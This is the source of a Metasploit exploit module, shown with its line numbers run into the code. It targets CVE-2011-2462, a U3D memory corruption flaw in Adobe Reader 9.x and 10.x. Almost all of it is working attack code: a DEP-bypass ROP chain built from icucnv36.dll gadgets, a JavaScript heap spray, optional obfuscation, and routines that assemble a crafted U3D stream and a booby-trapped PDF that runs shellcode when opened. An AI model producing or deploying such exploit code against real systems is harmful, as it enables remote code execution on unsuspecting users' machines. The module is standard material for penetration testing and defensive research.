Path: blob/master/modules/exploits/windows/fileformat/adobe_reader_u3d.rb
19592 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'zlib'67class MetasploitModule < Msf::Exploit::Remote8Rank = AverageRanking910include Msf::Exploit::FILEFORMAT1112def initialize(info = {})13super(14update_info(15info,16'Name' => 'Adobe Reader U3D Memory Corruption Vulnerability',17'Description' => %q{18This module exploits a vulnerability in the U3D handling within19versions 9.x through 9.4.6 and 10 through to 10.1.1 of Adobe Reader.20The vulnerability is due to the use of uninitialized memory.2122Arbitrary code execution is achieved by embedding specially crafted U3D23data into a PDF document. A heap spray via JavaScript is used in order to24ensure that the memory used by the invalid pointer issue is controlled.25},26'License' => MSF_LICENSE,27'Author' => [28'Felipe Andres Manzano', # Original poc (@feliam)29'sinn3r',30'juan vazquez',31'jduck'32],33'References' => [34[ 'CVE', '2011-2462' ],35[ 'OSVDB', '77529' ],36[ 'BID', '50922' ],37[ 'URL', 'http://www.adobe.com/support/security/advisories/apsa11-04.html' ],38[ 'URL', 'http://web.archive.org/web/20210228195907/http://blog.9bplus.com/analyzing-cve-2011-2462/' ],39[ 'URL', 'https://sites.google.com/site/felipeandresmanzano/PDFU3DExploitJS_CVE_2009_2990.py?attredirects=0'], # Original PoC40[ 'URL', 'http://contagiodump.blogspot.com/2011/12/adobe-zero-day-cve-2011-2462.html' ]41],42'DefaultOptions' => {43'EXITFUNC' => 'process',44'DisablePayloadHandler' => true45},46'Payload' => {47'Space' => 1000,48'BadChars' => "\x00",49'DisableNops' => true50},51'Platform' => 'win',52'Targets' => [53[54# Adobe Reader 9.4.0 / XP SP355# Adobe Reader 9.4.5 / XP SP356# Adobe Reader 9.4.6 / XP SP357'Adobe Reader 9.4.0 / 9.4.5 / 9.4.6 on Win XP SP3',58{59# gadget from icucnv36:60# mov ecx,dword ptr [eax+3Ch]61# mov eax,dword ptr [ecx]62# call dword ptr [eax+1Ch]63'Ret' => 0x4a8453c364}65],66],67'DisclosureDate' => '2011-12-06', # Needs to be checked68'DefaultTarget' => 0,69'Notes' => {70'Reliability' => UNKNOWN_RELIABILITY,71'Stability' => UNKNOWN_STABILITY,72'SideEffects' => UNKNOWN_SIDE_EFFECTS73}74)75)7677register_options(78[79OptString.new('FILENAME', [ true, 'The file name.', 'msf.pdf']),80OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])81]82)83end8485def junk(n = 1)86tmp = []87value = rand_text(4).unpack("L")[0].to_i88n.times { tmp << value }89return tmp90end9192def exploit93# DEP bypass; uses icucnv36.dll94stack_data = [95junk,960x0c0c0c0c, # mapped at 0x0c0c0c0c # becomes edi after stackpivot970x0c0c0c0c, # becomes esi980x4a806f29, # pop edi / pop esi / pop ebp / ret 14h990x4a8a0000, # becomes edi1000x4a802196, # becomes esi1010x4a801f90, # becomes ebp1020x4a806f29, # pop edi / pop esi / pop ebp / ret 14h1030x4a806cef, # Stackpivot! xchg eax,esp (eax=0x0c0c0c0c) / xor al, al / pop edi / pop esi / ret # padding104junk(4),1050x00000000, # becomes edi1060x00000002, # becomes esi1070x00000102, # becomes ebp1080x4a806f29, # pop edi / pop esi / pop ebp / ret 14h109junk(5),1100x4a80a8a6, # becomes edi1110x4a801f90, # becomes esi1120x4a849038, # becomes ebp1130x4a8063a5, # pop ecx / ret114junk(5),1150x4a8a0000, # becomes ecx1160x4a802196, # mov dword ptr [ecx],eax / ret # Stores eax (stack address)1170x4a801f90, # pop eax / ret1180x4a84903c, # becomes eax (import for CreateFileA)1190x4a80b692, # jmp dword ptr [eax] {kernel32!CreateFileA}1200x4a801064, # ret for CreateFileA # ret1210x00000000, # __in LPCTSTR lpFileName1220x10000000, # __in DWORD dwDesiredAccess1230x00000000, # __in DWORD dwShareMode1240x00000000, # __in_opt LPSECURITY_ATTRIBUTES lpSecurityAttributes1250x00000002, # __in DWORD dwCreationDisposition1260x00000102, # __in DWORD dwFlagsAndAttributes1270x00000000, # __in_opt HANDLE hTemplateFile1280x4a8063a5, # pop ecx / ret1290x4a801064, # becomes ecx1300x4a842db2, # xchg eax, edi / ret1310x4a802ab1, # pop ebx / ret1320x00000008, # becomes ebx1330x4a80a8a6, # and dword ptr [esp+ebx*2],edi (esp+ebx*2 = 0x0c0c0ce0, edi = {Result of CreateFileA}) / jne 4a80a8ae [br=1] / cmp al,2Fh / je 4a80a8ab [br=0] / cmp al,41h / jl 4a80a8ba [br=1] / cmp al,61h / jl 4a80a8c8) [br=1] / xor al,al / ret1340x4a801f90, # pop eax / ret1350x4a849038, # becomes eax (import for CreateFileA)1360x4a80b692, # jmp dword ptr [eax] {kernel32!CreateFileMappingA}1370x4a801064, # ret for CreateFileMappingA # ret1380xffffffff, # __in HANDLE hFile # mapped at 0c0c0ce0 => Stores Result of CreateFileA1390x00000000, # __in_opt LPSECURITY_ATTRIBUTES lpAttributes,1400x00000040, # __in DWORD flProtect,1410x00000000, # __in DWORD dwMaximumSizeHigh,1420x00010000, # __in DWORD dwMaximumSizeLow,1430x00000000, # __in_opt LPCTSTR lpName1440x4a8063a5, # pop ecx / ret1450x4a801064, # becomes ecx1460x4a842db2, # xchg eax, edi / ret1470x4a802ab1, # pop ebx / ret1480x00000008, # becomes ebx1490x4a80a8a6, # and dword ptr [esp+ebx*2],edi (esp+ebx*2 = 0x0c0c0d20, edi = {Result of FileMappingA}) / jne 4a80a8ae [br=1] / cmp al,2Fh / je 4a80a8ab [br=0] / cmp al,41h / jl 4a80a8ba [br=1] / cmp al,61h / jl 4a80a8c8) [br=1] / xor al,al / ret1500x4a801f90, # pop eax / ret1510x4a849030, # becomes eax (import for kernel32!MapViewOfFile)1520x4a80b692, # jmp dword ptr [eax] {kernel32!MapViewOfFile}1530x4a801064, # ret for MapViewOfFile # ret1540xffffffff, # __in HANDLE hFileMappingObject # mapped at 0x0c0c0d20 => {Result of FileMappingA}1550x00000022, # __in DWORD dwDesiredAccess1560x00000000, # __in DWORD dwFileOffsetHigh1570x00000000, # __in DWORD dwFileOffsetLow1580x00010000, # __in SIZE_T dwNumberOfBytesToMap1590x4a8063a5, # pop ecx / ret1600x4a8a0004, # becomes ecx1610x4a802196, # mov dword ptr [ecx],eax / ret # Stores result of MapViewOfFile1620x4a8063a5, # pop ecx / ret1630x4a801064, # becomes ecx1640x4a842db2, # xchg eax, edi / ret1650x4a802ab1, # pop ebx / ret1660x00000030, # becomes ebx1670x4a80a8a6, # and dword ptr [esp+ebx*2],edi (esp+ebx*2 = 0c0c0db8, edi = {Result of MapViewOfFile} / jne 4a80a8ae [br=1] / cmp al,2Fh / je 4a80a8ab [br=0] / cmp al,41h / jl 4a80a8ba [br=1] / cmp al,61h / jl 4a80a8c8) [br=1] / xor al,al / ret1680x4a801f90, # pop eax / ret1690x4a8a0004, # becomes eax {Result of MapViewOfFile}1700x4a80a7d8, # mov eax,dword ptr [eax] / ret1710x4a8063a5, # pop ecx / ret1720x4a801064, # becomes ecx1730x4a842db2, # xchg eax, edi / ret1740x4a802ab1, # pop ebx / ret1750x00000020, # becomes ebx1760x4a80a8a6, # and dword ptr [esp+ebx*2],edi (esp+ebx*2 = 0c0c0dbc, edi = {Result of MapViewOfFile} / jne 4a80a8ae [br=1] / cmp al,2Fh / je 4a80a8ab [br=0] / cmp al,41h / jl 4a80a8ba [br=1] / cmp al,61h / jl 4a80a8c8) [br=1] / xor al,al / ret1770x4a8063a5, # pop ecx / ret1780x4a801064, # becomes ecx1790x4a80aedc, # lea edx,[esp+0Ch] (edx => 0c0c0d94) / push edx {0c0c0d94} / push eax {Result of MapViewOfFile} / push dword ptr [esp+0Ch] ([0c0c0d8c] => 0x34) / push dword ptr [4a8a093c] ([4a8a093c] = 0x0) / call ecx (u 0x4a801064 => ret) / add esp, 10h / ret1800x4a801f90, # pop eax / ret1810x00000034, # becomes eax # mapped at 0c0c0d8c1820x4a80d585, # add eax, edx / ret (eax => 0c0c0dc8 => shellcode after ROP chain)1830x4a8063a5, # pop ecx / ret # mapped at 0c0c0d941840x4a801064, # becomes ecx1850x4a842db2, # xchg eax,edi (edi becomes 0c0c0d8c, eax becomes Result of MapViewOfFile) / ret1860x4a802ab1, # pop ebx / ret1870x0000000a, # becomes ebx1880x4a80a8a6, # and dword ptr [esp+ebx*2],edi (esp+ebx*2 = 0c0c0dc0, edi = {shellcode after ROP chain} / jne 4a80a8ae [br=1] / cmp al,2Fh / je 4a80a8ab [br=0] / cmp al,41h / jl 4a80a8ba [br=1] / cmp al,61h / jl 4a80a8c8) [br=1] / xor al,al / ret1890x4a801f90, # pop eax / ret1900x4a849170, # becomes eax (import for MSVCR80!memcpy)1910x4a80b692, # jmp dword ptr [eax] {MSVCR80!memcpy}1920xffffffff, # ret for memcpy # mapped at 0c0c0db8 => Result of MapViewOfFile1930xffffffff, # dst (memcpy param) # mapped at 0c0c0dbc => Result of MapViewOfFile1940xffffffff, # src (memcpy param) # mapped at 0c0c0dc0 => Address of shellcode after ROP chain1950x00001000 # length (memcpy param)196].flatten.pack('V*')197198payload_buf = ''199payload_buf << stack_data200payload_buf << payload.encoded201escaped_payload = Rex::Text.to_unescape(payload_buf)202203eip_ptr =204[205junk(3),206target.ret, # EIP207junk(7),2080x0c0c0c0c, # [eax+3Ch] => becomes ecx / [0x0c0c0c0c] = 0x0c0c0c0c / [0x0c0c0c0c+1Ch] = 4a806cef => stackpivot209junk(16),210].flatten.pack('V*')211212escaped_eip = Rex::Text.to_unescape(eip_ptr)213214js = <<-JS215216var padding;217var bbb, ccc, ddd, eee, fff, ggg, hhh;218var pointers_a, i;219var x = new Array();220var y = new Array();221222function alloc(bytes) {223return padding.substr(0, (bytes - 6) / 2);224}225226function spray_eip(esc_a) {227pointers_a = unescape(esc_a);228for (i = 0; i < 2000; i++) {229x[i] = alloc(0x8) + pointers_a;230y[i] = alloc(0x88) + pointers_a;231y[i] = alloc(0x88) + pointers_a;232y[i] = alloc(0x88) + pointers_a;233}234};235236function spray_shellcode() {237bbb = unescape('#{escaped_payload}');238ccc = unescape("%u0c0c");239ccc += ccc;240241while (ccc.length + 20 + 8 < (0x8000 + 0x8000)) ccc += ccc;242243i1 = 0x0c0c - 0x24;244ddd = ccc.substring(0, i1 / 2);245246ddd += bbb;247ddd += ccc;248249i2 = 0x4000 + 0xc000;250eee = ddd.substring(0, i2 / 2);251252for (; eee.length < 0x40000 + 0x40000;) eee += eee;253254i3 = (0x1020 - 0x08) / 2;255fff = eee.substring(0, 0x80000 - i3);256257ggg = new Array();258259for (hhh = 0; hhh < 0x1e0 + 0x10; hhh++) ggg[hhh] = fff + "s";260}261262padding = unescape("#{escaped_eip}");263while (padding.length < 0x10000)264padding = padding + padding;265266spray_shellcode();267spray_eip('%u4141');268269this.pageNum = 2;270JS271272js = js.gsub(/^ {4}/, '')273274if datastore['OBFUSCATE']275js = ::Rex::Exploitation::JSObfu.new(js)276js.obfuscate277end278279u3d = make_u3d_stream280xml = make_xml_data281pdf = make_pdf(u3d, xml, js.to_s)282print_status("Creating '#{datastore['FILENAME']}' file...")283file_create(pdf)284end285286def make_xml_data287xml = %Q|<?xml version="1.0" encoding="UTF-8"?>288<xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/">289<ed>kapa</ed>290<config xmclns="http://www.microsoft.org/schema/xci/2.6/">291<present>292<pdf>293<version>1</version>294<fjdklsajfodpsajfopjdsio>f</fjdklsajfodpsajfopjdsio>295<interactive>1</interactive>296</pdf>297</present>298</config>299<template xmdfaflns="http://www.microsoft.org/schema/xffdsa-template/2f/">300<subform name="form1" layout="tb" locale="en_US">301<pageSet>302</pageSet>303</subform>304</template>305<template1 xmdfaflns="http://www.microsoft.org/schema/xffdsa-template/2f/">306<subform name="form1" layout="tb" locale="en_US">307<pageSet>308</pageSet>309</subform>310</template1>311<template2 xmdfaflns="http://www.microsoft.org/schema/xffdsa-template/2f/">312<subform name="form1" layout="tb" locale="en_US">313<pageSet>314</pageSet>315</subform>316</template2>317</xdp:xdp>|318319xml = xml.gsub(/^ {4}/, '')320return xml321end322323def u3d_pad(str, char = "\x00")324len = str.length % 4325if (len > 0)326# puts "Adding %d pad bytes" % (4 - len)327return (char * (4 - len))328end329330""331end332333def u3d_string(str)334([str.length].pack('v') + str)335end336337def make_u3d_stream()338#339# REFERENCE:340# http://www.ecma-international.org/publications/files/ECMA-ST/ECMA-363%201st%20edition.pdf341# The File format consists of these blocks:342# [File Header Block][Declaration Block][Continuation Block]343# Each block consists of (padding is used to keep fields 32-bit aligned):344# [Block Type][Data Size][Metadata Size][Data][Data Padding][Meta Data][Meta Data Padding]345#346mc_name = u3d_string("CCCCBox01")347mr_name = u3d_string("Box01RX")348349# build the U3D header (length will be patched in later)350hdr_data = [0, 0].pack('n*') # version info351hdr_data << [0, 0x24, 0xa34, 0, 0x6a].pack('VVVVV') # 31337 was 0xa34352353hdr = "U3D\x00"354hdr << [hdr_data.length, 0].pack('VV')355hdr << hdr_data356357parent_node_data =358"\x01\x00\x00\x00"+ # node count (1)359"\x00\x00"+ # name (empty)360# transform matrix361[0x813f, 0, 0, 0, 0, 0x813f, 0, 0, 0, 0, 0x813f, 0, 0x548a55c0, 0xa2027cc2, 0, 0x813f].pack('N*')362363model_node_data = ""364model_node_data << mc_name365model_node_data << parent_node_data366model_node_data << mr_name367model_node_data << [1].pack('V') # Model Visibility (Front visible)368model_node = [0xffffff22, model_node_data.length, 0].pack('VVV')369# model_node = [0xffffff22,0x5e,0].pack('VVV')370model_node << model_node_data371372bone_weight_data = ""373bone_weight_data << mc_name374bone_weight_data << [3751, # Chain index3761, # Bone Weight Attributes (for a mesh)3770x3162123b, # Inverse Quant3780x14, # Position Count379].pack('VVNV')380# Position List381bone_weight_data << [382# 13831, # Bone Weight Count3843, # Bone Index (no Quantized Weight)385# 23860x55550000, # Bone Weight Count3870x4c1df36e, # Bone Index3880x0200d002, # Quantized Weight389# 33900x95000074, # Bone Weight Count3910x66ccc357, # Bone Index3920x00000000 # Quantized Weight393].pack('VVNNNNNN')394bone_weight = [0xffffff44, 0x3a, 0].pack('VVV')395# We hardcode the length to match the old file.. (TODO: test if necessary)396# bone_weight = [0xffffff44,bone_weight_data.length,0].pack('VVV')397bone_weight << bone_weight_data398399new_objtype1_data =400"\x05\x00\x52\x52\x52\x52\x52\x01\x00\x00\x00\xa6\x04\xa8\x96\xb9\x3f\xc5\x43\xb2\xdf\x2a" +401"\x31\xb5\x56\x93\x40\x00\x01\x00\x00\x00\x00\x00\x00\x05\x00\x52\x52\x52\x52\x52\x01\x00" +402"\x00\x00\x01\x00\x2e\x01\x00\x76\x00\x00\x00\x00"403# new_objtype1 = [0xffffff16,0x38,0].pack('VVV')404new_objtype1 = [0xffffff16, new_objtype1_data.length, 0].pack('VVV')405new_objtype1 << new_objtype1_data406407shading_modifier_data = ""408shading_modifier_data << mc_name409shading_modifier_data <<410"\x02\x00\x00\x00\x00\x00\x00\x00\x01" +411"\x00\x00\x00\x00\x00\x00\x00\x06\x00\x42\x6f\x02\x00\x00\x00"412# shading_modifier = [0xffffff45,0x23,0].pack('VVV')413shading_modifier = [0xffffff45, shading_modifier_data.length, 0].pack('VVV')414shading_modifier << shading_modifier_data415416new_objtype2_data =417"\x01\x00\x52\x01\x00\x00\x00\xa6\x04\xa8\x96\xb9\x3f\xc5\x43\xb2" +418"\xdf\x2a\x31\xb5\x56\x93\x40\x00\x01\x00\x00\x00\x00\x00\x00\x01\x00\x52\x01\x00\x00\x00" +419"\x01\x00\x2e\x01\x00\x76\x00\x00\x00\x00"420# new_objtype2 = [0xffffff16,0x30,0].pack('VVV')421new_objtype2 = [0xffffff16, new_objtype2_data.length, 0].pack('VVV')422new_objtype2 << new_objtype2_data423424nodemod_decl = ""425nodemod_decl << model_node426nodemod_decl << u3d_pad(nodemod_decl)427nodemod_decl << bone_weight428nodemod_decl << u3d_pad(nodemod_decl)429nodemod_decl << new_objtype1430nodemod_decl << u3d_pad(nodemod_decl)431nodemod_decl << shading_modifier432nodemod_decl << u3d_pad(nodemod_decl)433nodemod_decl << new_objtype2434nodemod_decl << u3d_pad(nodemod_decl)435436nodemod_decl <<437# another modifier chain?438"\x14\xff\xff\xff\xc0\x01\x00\x00\x00\x00\x00\x00" +439"\x07\x00\x42\x6f\x78\x30\x31\x52\x58\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00" +440"\x00\x00" +441# clod mesh generator (declaration)442"\x31\xff\xff\xff\x9b\x01\x00\x00\x00\x00\x00\x00\x07\x00\x42\x6f\x78\x30\x31\x52" +443"\x58\x00\x00\x00\x00\x00\x00\x00\x00\x24\x00\x00\x00\x14\x00\x00\x00\x6c\x00\x00\x00\x00" +444"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +445"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x14\x00\x00\x00\x2c\x01\x00\x00\x2c\x01\x00\x00\x2c" +446"\x01\x00\x00\x87\x52\x0a\x3d\xa6\x05\x6f\x3b\xa6\x05\x6f\x3b\x4a\xf5\x2d\x3c\x4a\xf5\x2d" +447"\x3c\x66\x66\x66\x3f\x00\x00\x00\x3f\xf6\x28\x7c\x3f\x04\x00\x00\x00\x07\x00\x53\x63\x61" +448"\x70\x75\x6c\x61\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +449"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +450"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +451"\x07\x00\x48\x75\x6d\x65\x72\x75\x73\x07\x00\x53\x63\x61\x70\x75\x6c\x61\x00\x00\x00\x00" +452"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +453"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +454"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x55\x6c\x6e\x61\x07\x00\x48\x75" +455"\x6d\x65\x72\x75\x73\x00\x00\x00\x00\x00\x00\x20\x41\x00\x00\x00\x00\x00\x00\x20\x41\x00" +456"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +457"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x06" +458"\x00\x52\x61\x64\x69\x75\x73\x04\x00\x55\x6c\x6e\x61\x00\x00\x00\x00\x00\x00\x70\x41\x00" +459"\x00\x00\x00\x00\x00\x70\x41\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +460"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +461"\x00\x00\x00\x00\x00\x00\x00\x00" +462# clod mesh generator (progressive mesh cont)463"\x3c\xff\xff\xff\x6f\x01\x00\x00\x00\x00\x00\x00\x07\x00" +464"\x42\x6f\x78\x30\x31\x52\x58\x00\x00\x00\x00\x00\x00\x00\x00\x14\x00\x00\x00\x00\x00\x00" +465"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x94\x00\x00\x00\x50\x02\x00\x00\x28\x01" +466"\x00\x00\x7f\x75\x2f\x2b\x00\x00\x20\x73\x00\x00\xc3\x05\x00\x00\x00\x00\x00\x00\x80\x02" +467"\x45\xe4\x4c\x55\x01\x00\x00\xe0\x30\x03\x00\x00\xb0\x01\x00\x00\x00\x36\x00\x00\x00\x00" +468"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\x55\x55\x05\x00\x80\xa3\x2a\x00\xc0\xe1" +469"\x41\x6b\x92\xf2\xa4\x00\x00\x72\x87\x18\x4c\xd0\xda\x00\x00\x20\x46\xa9\x03\x00\x40\x8c" +470"\x00\x00\xa0\x7c\xa9\xa7\x10\x03\x00\x00\xc4\x09\x00\x00\x0d\xd2\x50\x85\x03\x72\x00\x80" +471"\x5c\x37\x19\xc1\xb9\x0f\x00\x20\x55\xf7\x13\x00\x40\x00\xdc\x1f\xf9\x2c\x35\x30\x6e\x06" +472"\x62\xb6\xea\x09\x2e\x7b\x28\xa4\x90\xe0\xb3\x63\x2c\x20\x92\x2a\x88\xbc\x06\x3a\xff\x80" +473"\x43\xb2\x00\x00\x00\x14\x62\x0e\x63\xb4\x04\x08\x47\x52\x20\x31\xca\x00\x00\xb4\x21\xe0" +474"\xd7\x01\x00\xa0\x1a\x72\x11\x71\xc2\x2c\x74\xc1\xa3\x56\xfa\x30\x03\x00\xe0\x7b\xd0\x62" +475"\x2a\x00\x40\x71\xfa\x6c\xc6\xcf\x07\x78\x81\xd0\x47\x3d\x58\x0e\x51\x0f\x2e\x27\x2d\xbe" +476"\x26\x10\x06\x6f\x3a\x40\xae\x36\x6a\x43\x60\xdf\xcb\xef\x8c\x38\xca\x04\x92\x79\x4b\x79" +477"\xe9\x42\xbd\x2b\xb9\x5b\x86\x60\x65\xa4\x75\x01\x19\xda\xcf\x6a\xf7\x2a\x77\x3c\xde\xf1" +478"\x11\x75\x33\xd3\x94\x74\x4a\x14\x73\x4b\x18\xa1\x66\xc2\x0f\xde\x3d\xed\x19\xd4\x32\x2e" +479"\xb6\x11\xf2\xc6\x2f\x13\x62\xb9\xe5\xe1\x03\x8b\xb5\x1c\x23\x9f\x80\x03\x75\xb6\x26\xd3" +480"\x1c\x16\x5f\x9b\x3c\xea\x62\x10\xe1\xb1\x00\x00\x00\x00"481482# build the modifier chain483chain_data = ""484chain_data << mc_name485chain_data << [0].pack('V') # type (node modifier)486chain_data << [0].pack('V') # attributes (no bounding info)487chain_data << u3d_pad(chain_data)488chain_data << [0x5].pack('V') # number of modifiers489chain_data << nodemod_decl490# modifier_chain = [0xffffff14,chain_data.length,0].pack('VVV') # chain_data was 0x17c bytes491modifier_chain = [0xffffff14, 0x17c, 0].pack('VVV')492modifier_chain << chain_data493494data = ""495data << hdr496data << modifier_chain497498data499end500501def random_non_ascii_string(count)502result = ""503count.times do504result << (rand(128) + 128).chr505end506result507end508509def io_def(id)510"%d 0 obj\n" % id511end512513def io_ref(id)514"%d 0 R" % id515end516517def ascii_hex_whitespace_encode(str)518result = ""519whitespace = ""520str.each_byte do |b|521result << whitespace << "%02x" % b522whitespace = " " * (rand(3) + 1)523end524result << ">"525end526527def make_pdf(u3d_stream, xml, js_doc)528xref = []529eol = "\x0a"530obj_end = "" << eol << "endobj" << eol531532# the header533pdf = "%PDF-1.7" << eol534535# filename/comment536pdf << "%" << random_non_ascii_string(4) << eol537538email = rand_text_alpha(3) + "@" + rand_text_alpha(4) + ".com"539site = rand_text_alpha(5) + ".com"540xref << pdf.length541pdf << io_def(1)542pdf << "<</Author (Fo)/email (#{email})/web (site)>>"543pdf << obj_end544545compressed_xml = Zlib::Deflate.deflate(xml)546xref << pdf.length547pdf << io_def(2)548pdf << "<</Length " << compressed_xml.length.to_s << " /Filter /FlateDecode>>" << eol549pdf << "stream" << eol550pdf << compressed_xml << eol551pdf << "endstream"552pdf << obj_end553554xref << pdf.length555pdf << io_def(3)556pdf << "<</XFA " << io_ref(2) << ">>"557pdf << obj_end558559xref << pdf.length560pdf << io_def(4)561pdf << "<</Type/Catalog/Outlines " << io_ref(5)562pdf << " /Pages " << io_ref(6)563pdf << " /OpenAction " << io_ref(14)564pdf << " /AcroForm " << io_ref(3)565pdf << ">>"566pdf << obj_end567568xref << pdf.length569pdf << io_def(5) << "<</Type/Outlines/Count 0>>"570pdf << obj_end571572xref << pdf.length573pdf << io_def(6)574pdf << "<</Type/Pages/Count 3/Kids [%s %s %s]>>" % [io_ref(13), io_ref(9), io_ref(12)]575pdf << obj_end576577data = "\x78\xda\xd3\x70\x4c\x04\x02\x4d\x85\x90\x2c\x00\x0f\xd3\x02\xf5"578compressed_data = Zlib::Deflate.deflate(data)579xref << pdf.length580pdf << io_def(7)581pdf << "<</Length %s /Filter /FlateDecode>>" % compressed_data.length.to_s << eol582pdf << "stream" << eol583pdf << compressed_data << eol584pdf << "endstream"585pdf << obj_end586587xref << pdf.length588pdf << io_def(8)589pdf << "<</ProcSet [/PDF]>>"590pdf << obj_end591592xref << pdf.length593pdf << io_def(9)594pdf << "<</Type/Page/Parent %s/MediaBox [0 0 640 480]/Contents %s/Resources %s>>" % [io_ref(6), io_ref(7), io_ref(8)]595pdf << obj_end596597compressed_u3d = Zlib::Deflate::deflate(u3d_stream)598xref << pdf.length599pdf << io_def(10)600pdf << "<</Type/3D/Subtype/U3D/Length %s /Filter/FlateDecode>>" % compressed_u3d.length.to_s << eol601pdf << "stream" << eol602pdf << compressed_u3d << eol603pdf << "endstream"604pdf << obj_end605606xref << pdf.length607pdf << io_def(11)608pdf << "<</Type/Annot/Subtype/3D/Contents (#{rand_text_alpha(4)})/3DI false/3DA <</A/PO/DIS/I>>"609pdf << "/Rect [0 0 640 480]/3DD %s /F 7>>" % io_ref(10)610pdf << obj_end611612xref << pdf.length613pdf << io_def(12)614pdf << "<</Type/Page/Parent %s /MediaBox [0 0 640 480]/Contents %s /Resources %s /Annots [%s]>>" % [io_ref(6), io_ref(7), io_ref(8), io_ref(11)]615pdf << obj_end616617xref << pdf.length618pdf << io_def(13)619pdf << "<</Type/Page/Parent %s /MediaBox [0 0 640 480]/Contents %s /Resources %s>>" % [io_ref(6), io_ref(7), io_ref(8)]620pdf << obj_end621622xref << pdf.length623pdf << io_def(14)624pdf << "<</S/JavaScript/JS %s>>" % io_ref(15)625pdf << obj_end626627compressed_js = Zlib::Deflate.deflate(ascii_hex_whitespace_encode(js_doc))628xref << pdf.length629pdf << io_def(15)630pdf << "<</Length " << compressed_js.length.to_s << " /Filter [/FlateDecode/ASCIIHexDecode]>>"631pdf << "stream" << eol632pdf << compressed_js << eol633pdf << "endstream"634pdf << obj_end635636# xrefs637xrefPosition = pdf.length638pdf << "xref" << eol639pdf << "0 %d" % (xref.length + 1) << eol640pdf << "0000000000 65535 f" << eol641xref.each do |index|642pdf << "%010d 00000 n" % index << eol643end644645# trailer646pdf << "trailer" << eol647pdf << "<</Size %d/Root " % (xref.length + 1) << io_ref(4) << ">>" << eol648pdf << "startxref" << eol649pdf << xrefPosition.to_s() << eol650pdf << "%%EOF" << eol651end652end653654655